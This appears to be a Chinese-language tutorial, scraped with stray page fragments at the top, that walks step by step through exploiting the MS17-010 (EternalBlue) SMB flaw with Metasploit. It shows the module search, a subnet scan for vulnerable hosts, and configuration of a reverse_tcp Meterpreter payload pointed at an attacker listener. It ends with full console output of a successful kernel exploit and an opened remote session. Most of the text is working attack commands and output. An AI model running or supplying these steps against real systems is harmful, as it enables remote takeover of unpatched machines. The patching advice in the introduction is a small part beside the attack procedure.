service pack

前沿拓展：

service pack

您好，Microsoft Wi

永恒之蓝是2017年席卷全球的勒索软件的罪魁祸首，是微软近些年来最为严重的远程代码执行漏洞，可以直接获得系统权限，请所有IT从业人员在任何时候都要打满补丁以绝后患。

利用方法

进入msf框架

root@kali:~# msfconsole

查找MS17-010相关利用代码

search 17_010
[!] Module database cache not built yet, using slow searchMatching Modules
================ Name Disclosure Date Rank Description —- ————— —- ———–
auxiliary/admin/**b/ms17_010_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion **B Remote Windows Command Execution
auxiliary/scanner/**b/**b_ms17_010 normal MS17-010 **B RCE Detection
exploit/windows/**b/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue **B Remote Windows Kernel Pool Corruption
exploit/windows/**b/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion **B Remote Windows Code Execution

检测内网中存在漏洞的主机系统

msf > use auxiliary/scanner/**b/**b_ms17_010
msf auxiliary(scanner/**b/**b_ms17_010) > show options
Module options (auxiliary/scanner/**b/**b_ms17_010):
Name Current Setting Required Description
—- ————— ——– ———–
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The **B service port (TCP)
**BDomain . no The Windows domain to use for authentication
**BPass no The password for the specified username
**BUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
msf auxiliary(scanner/**b/**b_ms17_010) > set RHOSTS 192.168.136.129/24
RHOSTS => 192.168.136.129/24
msf auxiliary(scanner/**b/**b_ms17_010) > exploit
[*] Scanned 26 of 256 hosts (10% complete)
[*] Scanned 52 of 256 hosts (20% complete)
[*] Scanned 77 of 256 hosts (30% complete)
[*] Scanned 103 of 256 hosts (40% complete)
[*] Scanned 128 of 256 hosts (50% complete)
[+] 192.168.136.129:445 – Host is likely VULNERABLE to MS17-010! – Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)

加载攻击模块

msf auxiliary(scanner/**b/**b_ms17_010) > use exploit/windows/**b/ms17_010_eternalblue
msf exploit(windows/**b/ms17_010_eternalblue) > show options
Module options (exploit/windows/**b/ms17_010_eternalblue):
Name Current Setting Required Description
—- ————— ——– ———–
GroomAllocations 12 yes Initial number of times to groom the kernel pool.
GroomDelta 5 yes The amount to increase the groom count by per try.
MaxExploitAttempts 3 yes The number of times to retry the exploit.
ProcessName spoolsv.exe yes Process to inject payload into.
RHOST yes The target address
RPORT 445 yes The target port (TCP)
**BDomain . no (Optional) The Windows domain to use for authentication
**BPass no (Optional) The password for the specified username
**BUser no (Optional) The username to authenticate as
VerifyArch true yes Check if remote architecture matches exploit Target.
VerifyTarget true yes Check if remote OS matches exploit Target.
Exploit target:
Id Name
— —- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs

配置

msf exploit(windows/**b/ms17_010_eternalblue) > set RHOST 192.168.136.129RHOST => 192.168.136.129msf exploit(windows/**b/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/**b/ms17_010_eternalblue) > set LHOST 192.168.136.131LHOST => 192.168.136.131msf exploit(windows/**b/ms17_010_eternalblue) > show options
Module options (exploit/windows/**b/ms17_010_eternalblue):
Name Current Setting Required Description
—- ————— ——– ———–
GroomAllocations 12 yes Initial number of times to groom the kernel pool.
GroomDelta 5 yes The amount to increase the groom count by per try.
MaxExploitAttempts 3 yes The number of times to retry the exploit.
ProcessName spoolsv.exe yes Process to inject payload into.
RHOST 192.168.136.129 yes The target address
RPORT 445 yes The target port (TCP)
**BDomain . no (Optional) The Windows domain to use for authentication
**BPass no (Optional) The password for the specified username
**BUser no (Optional) The username to authenticate as
VerifyArch true yes Check if remote architecture matches exploit Target.
VerifyTarget true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
—- ————— ——– ———–
EXITFUNC thread yes Exit technique (Accepted: ”, seh, thread, process, none)
LHOST 192.168.136.131 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
— —- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs

发动攻击

msf exploit(windows/**b/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.136.131:4444 [*] 192.168.136.129:445 – Connecting to target for exploitation.
[+] 192.168.136.129:445 – Connection established for exploitation.
[+] 192.168.136.129:445 – Target OS selected valid for OS indicated by **B reply
[*] 192.168.136.129:445 – CORE raw buffer dump (53 bytes)
[*] 192.168.136.129:445 – 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2[*] 192.168.136.129:445 – 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris
[*] 192.168.136.129:445 – 0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P
[*] 192.168.136.129:445 – 0x00000030 61 63 6b 20 31 ack 1 [+] 192.168.136.129:445 – Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.136.129:445 – Trying exploit with 12 Groom Allocations.
[*] 192.168.136.129:445 – Sending all but last fragment of exploit packet
[*] 192.168.136.129:445 – Starting non-paged pool grooming
[+] 192.168.136.129:445 – Sending **Bv2 buffers
[+] 192.168.136.129:445 – Closing **Bv1 connection creating free hole adjacent to **Bv2 buffer.
[*] 192.168.136.129:445 – Sending final **Bv2 buffers.
[*] 192.168.136.129:445 – Sending last fragment of exploit packet!
[*] 192.168.136.129:445 – Receiving response from exploit packet
[+] 192.168.136.129:445 – ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.136.129:445 – Sending egg to corrupted connection.
[*] 192.168.136.129:445 – Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.136.129[*] Meterpreter session 1 opened (192.168.136.131:4444 -> 192.168.136.129:49567) at 2018-04-30 23:31:53 +0800[+] 192.168.136.129:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.136.129:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.136.129:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=